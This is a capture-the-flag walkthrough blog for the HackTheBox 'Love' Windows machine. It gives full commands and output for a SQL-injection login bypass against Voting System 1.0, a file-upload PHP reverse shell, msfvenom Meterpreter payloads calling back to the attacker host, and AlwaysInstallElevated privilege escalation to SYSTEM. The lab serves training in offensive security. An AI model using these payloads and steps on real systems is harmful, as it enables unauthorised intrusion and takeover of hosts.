Hi everyone! Today’s post is on Love, an easy Windows 10 machine on HackTheBox. It was created on 2nd May 2021. There are two ways for the initial foothold before accessing the server as a user account which is SQL injection via CVE-liked disclosure on exploitDB for Voting System 1.0 or SSRF in a subdomain of the website. I used the SQL injection method as more things can be learned from it. To access the server, unrestricted file upload CVE on Voting System 1.0 was exploited. Finally, the privilege escalation used on the Windows 10 machine is via AlwaysInstallElevated via Metasploit. Read on if you are interested. Let’s get started!
Tools required
- Nmap
- Gobuster
- Seclists wordlist
- Burpsuite
- Metasploit (Msfconsole and Msfvenom)
- Netcat
- WinPEAS
Nmap service discovery
┌──(soulx㉿kali)-[~] └─$ nmap -Pn -n -sV -v -p1-1000 10.10.10.239 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-09 12:42 +08 NSE: Loaded 45 scripts for scanning. Initiating Connect Scan at 12:42 Scanning 10.10.10.239 [1000 ports] Discovered open port 135/tcp on 10.10.10.239 Discovered open port 139/tcp on 10.10.10.239 Discovered open port 443/tcp on 10.10.10.239 Discovered open port 80/tcp on 10.10.10.239 Discovered open port 445/tcp on 10.10.10.239 Increasing send delay for 10.10.10.239 from 0 to 5 due to 60 out of 199 dropped probes since last increase. Completed Connect Scan at 12:42, 26.62s elapsed (1000 total ports) Initiating Service scan at 12:42 Scanning 5 services on 10.10.10.239 Completed Service scan at 12:42, 12.82s elapsed (5 services on 1 host) NSE: Script scanning 10.10.10.239. Initiating NSE at 12:42 Completed NSE at 12:42, 1.86s elapsed Initiating NSE at 12:42 Completed NSE at 12:42, 1.72s elapsed Nmap scan report for 10.10.10.239 Host is up (0.15s latency). Not shown: 995 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) Service Info: Hosts: www.example.com, LOVE; OS: Windows; CPE: cpe:/o:microsoft:windows Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 43.98 seconds
As we can see, there are several services available. However, I tried to find vulnerabilities for Server Message Block (SMB) in port 445 but it was futile. I also tried to use common credentials to login via RPC in port 135 but it was also futile. Let’s go into the website analysis next.
Outlook of the website


If we used Gobuster with wordlist from Seclists as well as include PHP extension with the “-x” flag:
┌──(soulx㉿kali)-[~] └─$ gobuster dir -u http://10.10.10.239 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x php
The results showed that there is an admin page at http://10.10.10.239/admin/index.php.

The difference between the voter’s login page and the admin’s login page can be seen via the credentials required. Voters login via their voter’s ID while admin login via username.
Voting System 1.0 vulnerabilities
Just a bit of googling, we can find two existing vulnerabilities in the website. The first vulnerability is via SQL injection to bypass the login page while the second vulnerability is file upload not checked, resulted in PHP remote code execution (RCE).
Admin login page bypass vulnerability: https://www.exploit-db.com/exploits/49843
File upload vulnerability: https://www.exploit-db.com/exploits/49846
Bypass admin login page
Study the SQL vulnerability
Based on the exploitDB post, we know that no sanitization was made on the username before doing a query to the database in /admin/login.php. The password was however checked with the query’s result. The source code of the vulnerable login page can be seen below:
if(isset($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $sql = "SELECT * FROM admin WHERE username = '$username'"; $query = $conn->query($sql); if($query->num_rows < 1){ $_SESSION['error'] = 'Cannot find account with the username'; } else{ $row = $query->fetch_assoc(); echo "DB Password: " . $row['password']; echo "<br>"; echo "<br>"; echo "Input Password: " . $password; if(password_verify($password, $row['password'])){ echo "Equal"; $_SESSION['admin'] = $row['id']; } else{ echo "not Equal"; $_SESSION['error'] = 'Incorrect password'; } } } ...
The password can be seen using password_verify() a PHP function to check if the BCrypt hash password obtained from the MySQL database matches the password we input. If we study password_verify()‘s documentation, we will know it compares with hash obtained from password_hash(). Therefore, we can generate our own Bcrypt hash as shown below instead of using the already given for learning purposes.
<?php echo password_hash("admin", PASSWORD_BCRYPT); // result: $2y$10$uDLWBAxmLn8S6qVu1.1YgOmZeVlEGVWI06zK6N7TBMXjeps3T0amy ?>
Note: The BCrypt hash result will keep changing despite using the same word. password_verify() is still able to verify it.
Craft our SQL exploit
We can choose to use the hash we generated to inject a new admin account. Based on the database creation SQL query we downloaded here in the directory, votesystem\db\votesystem.sql:
Database (votesystem\db\votesystem.sql): CREATE TABLE `admin` ( `id` int(11) NOT NULL, `username` varchar(50) NOT NULL, `password` varchar(60) NOT NULL, `firstname` varchar(50) NOT NULL, `lastname` varchar(50) NOT NULL, `photo` varchar(150) NOT NULL, `created_on` date NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
We can see that there are 7 columns in the admin table. However, all the columns required a value. Therefore, we can use INSERT INTO to insert 7 columns of data to inject a new admin. However, this is too troublesome as we need to inject a new account before we login into the new account. Moreover, it kinda leaves evidence we created a new account.
Therefore, I used another way which is to read any table which this case I used the admin table. Since we know the 3rd column is the password, we can place our BCrypt hash there. Therefore, the content for username and password is:
Username: ' UNION SELECT 1,2,"$2y$10$uDLWBAxmLn8S6qVu1.1YgOmZeVlEGVWI06zK6N7TBMXjeps3T0amy",4,5,6,7 from admin;-- ' Password: admin
Since the username we used is empty, it wouldn’t exist in the admin table thus the result is empty rows. As we UNION it with the admin table again, it will return all the rows in the table. However, as we used 1, 2, <BCrypt hash of “admin”>, 4, … , 7, it will give us:
1 | 2 | $2y$10$uDLWBAxmLn8S6qVu1.1YgOmZeVlEGVWI06zK6N7TBMXjeps3T0amy | 4 | 5 | 6 | 7 1 | 2 | $2y$10$uDLWBAxmLn8S6qVu1.1YgOmZeVlEGVWI06zK6N7TBMXjeps3T0amy | 4 | 5 | 6 | 7 1 | 2 | $2y$10$uDLWBAxmLn8S6qVu1.1YgOmZeVlEGVWI06zK6N7TBMXjeps3T0amy | 4 | 5 | 6 | 7
You can ignore the number of rows assuming there are 3 accounts in the admin table.
Using Burpsuite to bypass authentication
Launch Burpsuite and go to the admin login page while you disable intercept. Randomly input a user name and password, enable intercept and login. You should see the intercepted HTTP request in the Proxy tab (see Fig 6a).

Can the POST parameters to this:
login=yea&password=admin&username= ' UNION SELECT 1,2,"$2y$10$uDLWBAxmLn8S6qVu1.1YgOmZeVlEGVWI06zK6N7TBMXjeps3T0amy",4,5,6,7 from admin;-- '

Once you changed it, press the “Forward” button before pressing the “Intercept is on” button to disable intercept. Your Burpsuite browser should be now login into the admin’s dashboard.

RCE to spawning user shell to obtaining user flag
Generate PHP reverse web shell
As we know that the 2nd vulnerability is in the admin/add_candidate.php where no checks are made files that are updated, we can create a PHP reverse web shell, shell.php, using Metasploit via msfvenom. Remember to change your LHOST based on the result of your ifconfig command. You may chance the LPORT too.
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Love] └─$ msfvenom -p php/reverse_php LHOST=10.10.1.1 LPORT=7337 -f raw > shell.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size: 3009 bytes
Upload PHP reverse web shell
Next, we have to create a position first as when creating a new candidate, we have to choose one permission. If your machine is new and no one else has created a position, you have to create it yourself.

We can click on the New button to add a new position. I randomly input any values for the new position.

The Positions page should reflect the newly added position.

Finally, we can go into the Candidates page to add a new candidate where we upload our reverse web shell. I randomly input random inputs for the other fields (see Fig 7d).

Once you click Save, the new candidate will appear on the Candidates page.

Verify upload of reverse web shell
Based on the 2nd vulnerability on exploitDB, https://www.exploit-db.com/exploits/49846, we will know our uploaded shell will be seen on the /images folder (see Fig 7f). Some files might be different from what you see as this is not an Arena Machine so everyone is sharing the same machine. Thus you will sometimes see files uploaded by others unless the machine was recently reset.

Setup listen for reverse web shell
We can now set up a Netcat listener. Since I set my reverse web shell to listen at port 7337, my Netcat will listen at that port. Remember to change yours if you set another port.
┌──(soulx㉿kali)-[~] └─$ nc -lvnp 7337 listening on [any] 7337 ...
Refresh the Candidates page by pressing F5 on your keyboard, shell.php will be reloaded on the page, causing RCE to occur. Once the page is refreshed, your Netcat should have a successful connection to the server as a User. There is no TTY so there is any empty prompt where you can input CMD commands.
┌──(soulx㉿kali)-[~] └─$ nc -lvnp 7337 listening on [any] 7337 ... connect to [10.10.1.1] from (UNKNOWN) [10.10.10.239] 51966 whoami love\Phoebe
As we can see, we can execute whoami command. We can use the shell to get the user flag with it. However, the connection is very unstable as it keeps disconnecting, causing me having to relaunch Netcat to listen at the same port and refresh the Candidates page.
Generate Windows reverse shell
Therefore, we can use a Meterpreter with a Windows reverse shell. This will result in a stable connection reverse Windows shell and having a Meterpreter allows us to easily escalate privileges and obtain the root flag later. We can generate a Windows reverse shell using msfvenom. I used x86 shell as for Windows, a 64-bits system can run a 32-bits file, unlike GNU/Linux where many dependencies are required to be installed.
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Love] └─$ msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.14.14 LPORT=4444 -f exe > shell-x86.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 175174 bytes Final size of exe file: 250368 bytes
Remember to use a different listening port (LPORT) from your reverse web shell as your Meterpreter should be listening from a different port from your Netcat.
Upload Windows reverse shell and setup Meterpreter listener
Once generated, we can upload shell-x86.exe into the server by creating/adding another candidate from the Candidates page. You can also use Python’s HTTP server to host the Windows reverse shell but I find it too troublesome since we can upload files via the Candidate’s page, why not use it?
Once uploaded, you should access msfconsole, set up a listener at port 4444 or whatever port you have set. Remember to change your LHOST too!
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter_reverse_tcp payload => windows/meterpreter_reverse_tcp msf6 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf6 exploit(multi/handler) > set LHOST 10.10.1.1 LHOST => 10.10.1.1 msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 10.10.1.1:4444
Run the Windows reverse shell and obtain user flag
Next, use the reverse web shell from the connection we reversed from Netcat, run the uploaded Windows reverse shell, shell-x86.exe.
┌──(soulx㉿kali)-[~] └─$ nc -lvnp 7337 listening on [any] 7337 ... connect to [10.10.1.1] from (UNKNOWN) [10.10.10.239] 51966 dir Volume in drive C has no label. Volume Serial Number is 56DE-BA30 Directory of C:\xampp\htdocs\omrs\images 07/09/2021 09:47 AM <DIR> . 07/09/2021 09:47 AM <DIR> .. 05/18/2018 08:10 AM 4,240 facebook-profile-image.jpeg 04/12/2021 03:53 PM 0 index.html.txt 01/27/2021 12:08 AM 844 index.jpeg 08/24/2017 04:00 AM 26,644 profile.jpg 07/09/2021 09:47 AM 250,368 shell-x86.exe 07/09/2021 09:47 AM 3,009 shell.php 7 File(s) 344,497 bytes 2 Dir(s) 4,060,479,488 bytes free shell-x86.exe
You should now be connected to the Windows server through Meterpreter and the connection is very stable. Use the shell command to launch a CMD.exe shell and get your user flag.
[*] Meterpreter session 1 opened (10.10.1.1:4444 -> 10.10.10.239:63764) at 2021-07-10 00:25:51 +0800 meterpreter > meterpreter > shell Process 3064 created. Channel 1 created. Microsoft Windows [Version 10.0.19042.867] (c) 2020 Microsoft Corporation. All rights reserved. C:\xampp\htdocs\omrs\images> C:\xampp\htdocs\omrs\images>cd C:/Users/Phoebe/Desktop cd C:/Users/Phoebe/Desktop C:\Users\Phoebe\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 56DE-BA30 Directory of C:\Users\Phoebe\Desktop 04/13/2021 03:20 AM <DIR> . 04/13/2021 03:20 AM <DIR> .. 07/09/2021 09:21 AM 34 user.txt 1 File(s) 34 bytes 2 Dir(s) 4,063,080,448 bytes free C:\Users\Phoebe\Desktop>type user.txt type user.txt 0b9*****************************
Privilege Escalation and obtaining root flag
Find vulnerability with WinPEAS
Firstly, we can upload WinPEASx86.exe using the Candidates page as well just like Fig 7d.
Next, we can navigate our Windows reverse shell back into /images directory and execute our recently uploaded WinPEASx86.exe. I used the “notcolor” flag as I wanted to pipe the output to a text file which by default, colors code will appear as some encoding text in the text result, making it very messy.
C:\xampp\htdocs\omrs\images>WinPEASx86.exe > result.txt
Once ready, we can see the results directly from the /images folder from the browser in Fig 8.

Scrolling through the result, I found something interesting which is AlwaysInstallElevated is set to 0x1 in the Registry. This means the installation is in root/admin privilege. You can read more about them in hacktricks.xyz here.
..... ÉÍÍÍÍÍÍÍÍÍ͹ Checking AlwaysInstallElevated È https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated AlwaysInstallElevated set to 1 in HKLM! AlwaysInstallElevated set to 1 in HKCU! .....
Using Metasploit to escalate privilege via AlwaysInstallElevated
There is a Metasploit module that allows us to exploit this to escalate privilege easily. Basically, a malicious MSI file will be created by Metasploit with a Windows reverse TCP shell in it. When installing the reverse shell, there is some error in the VBS code that will prevent the package from writing to the system while the reverse shell gets executed. “/quiet” flag is used to prevent errors as well as “/qn” flag is used to prevent GUI from appearing.
Since we already have a Meterpreter shell to the Windows system, we can easily use the Meterpreter to upload the malicious MSI file generated by msfconsole. You can do these by following the steps below. Remember to set the same LPORT as you set for your Windows reverse shell in msfconsole previously.
C:\xampp\htdocs\omrs\images>exit meterpreter > background [*] Backgrounding session 1... msf6 exploit(multi/handler) > use exploit/windows/local/always_install_elevated [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(windows/local/always_install_elevated) > show options Module options (exploit/windows/local/always_install_elevated): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.8 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows msf6 exploit(windows/local/always_install_elevated) > set LHOST 10.10.1.1 LHOST => 10.10.1.1 msf6 exploit(windows/local/always_install_elevated) > set SESSION 1 SESSION => 1 msf6 exploit(windows/local/always_install_elevated) > exploit [*] Started reverse TCP handler on 10.10.14.14:4444 [*] Uploading the MSI to C:\Users\Phoebe\AppData\Local\Temp\lgBCoM.msi ... [*] Executing MSI... [*] Sending stage (175174 bytes) to 10.10.10.239 [*] Meterpreter session 6 opened (10.10.14.14:4444 -> 10.10.10.239:63791) at 2021-07-10 01:03:34 +0800 meterpreter > shell C:\WINDOWS\system32>whoami whoami nt authority\system
We can see that we are now login as admin on the server. We can then obtain the root flag.
Obtaining root flag
C:\WINDOWS\system32>d C:\Users\Administrator\Desktop cd C:\Users\Administrator\Desktop C:\Users\Administrator\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 56DE-BA30 Directory of C:\Users\Administrator\Desktop 04/13/2021 03:20 AM <DIR> . 04/13/2021 03:20 AM <DIR> .. 07/09/2021 09:21 AM 34 root.txt 1 File(s) 34 bytes 2 Dir(s) 4,050,026,496 bytes free C:\Users\Administrator\Desktop>type root.txt type root.txt a38*****************************
I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂